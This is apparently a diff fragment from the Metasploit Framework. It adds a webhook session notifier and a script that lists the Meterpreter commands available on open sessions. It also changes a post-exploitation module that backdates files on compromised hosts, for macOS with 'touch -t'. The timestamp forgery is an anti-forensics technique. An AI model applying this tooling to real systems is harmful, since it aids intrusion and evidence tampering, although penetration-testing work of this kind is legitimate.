@sms_client.send_text_to_phones([sms_number], subject, msg)
|
||||
|
@ -326,6 +367,9 @@ module Msf
|
|||
if in_range?(session) && !gotify_address.nil?
|
||||
send_text_to_gotify(session)
|
||||
end
|
||||
if in_range?(session) && !serverjang_webhook.nil?
|
||||
send_text_to_serverjang(session)
|
||||
end
|
||||
end
|
||||
|
||||
def in_range?(session)
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
# Outputs the currently supported Meterpreter commands as JSON for the currently opened Meterpreter sessions
|
||||
# Usage:
|
||||
# msf> resource scripts/resource/meterpreter_compatibility.rc
|
||||
|
||||
<ruby>
|
||||
require 'json'
|
||||
|
||||
# Attempt to load all known extensions
|
||||
framework.sessions.values.map do |session|
|
||||
next unless session.type == 'meterpreter'
|
||||
|
||||
Rex::Post::Meterpreter::ExtensionMapper.get_extension_names.each do |extension_name|
|
||||
session.core.use(extension_name)
|
||||
rescue ::RuntimeError
|
||||
puts "failed loading #{extension_name}"
|
||||
# noop
|
||||
end
|
||||
end
|
||||
|
||||
# Create an array of supported session information
|
||||
session_data = framework.sessions.values.map do |session|
|
||||
next unless session.type == 'meterpreter'
|
||||
|
||||
supported_commands = session.commands.map do |command_id|
|
||||
command_name = Rex::Post::Meterpreter::CommandMapper.get_command_name(command_id)
|
||||
|
||||
{
|
||||
id: command_id,
|
||||
name: command_name
|
||||
}
|
||||
end
|
||||
|
||||
{
|
||||
session_type: session.session_type,
|
||||
commands: supported_commands
|
||||
}
|
||||
end.compact
|
||||
|
||||
result = {
|
||||
sessions: session_data
|
||||
}
|
||||
|
||||
puts JSON.fast_generate(result)
|
||||
</ruby>
|
|
@ -154,11 +154,15 @@ class MetasploitModule < Msf::Post
|
|||
res
|
||||
end
|
||||
|
||||
genesis_date = "3 January 2009 18:15:13 +0000"
|
||||
genesis = DateTime.parse(genesis_date).to_i
|
||||
genesis_str = "3 January 2009 18:15:13 +0000"
|
||||
genesis_date = DateTime.parse(genesis_str)
|
||||
genesis = genesis_date.to_i
|
||||
|
||||
if not ['windows', 'win'].include? session.platform
|
||||
cmd_exec("touch -d '#{genesis_date}' #{@file_name}")
|
||||
if session.platform == 'osx'
|
||||
osx_genesis_str = genesis_date.strftime("%Y%m%d%H%M.%S")
|
||||
cmd_exec("touch -t '#{osx_genesis_str}' #{@file_name}")
|
||||
elsif !['windows', 'win'].include?(session.platform)
|
||||
cmd_exec("touch -d '#{genesis_str}' #{@file_name}")
|
||||
elsif session.priv.present?
|
||||
client.priv.fs.set_file_mace(@file_name, genesis)
|
||||
else
|
||||
|
|
Loading…
Reference in New Issue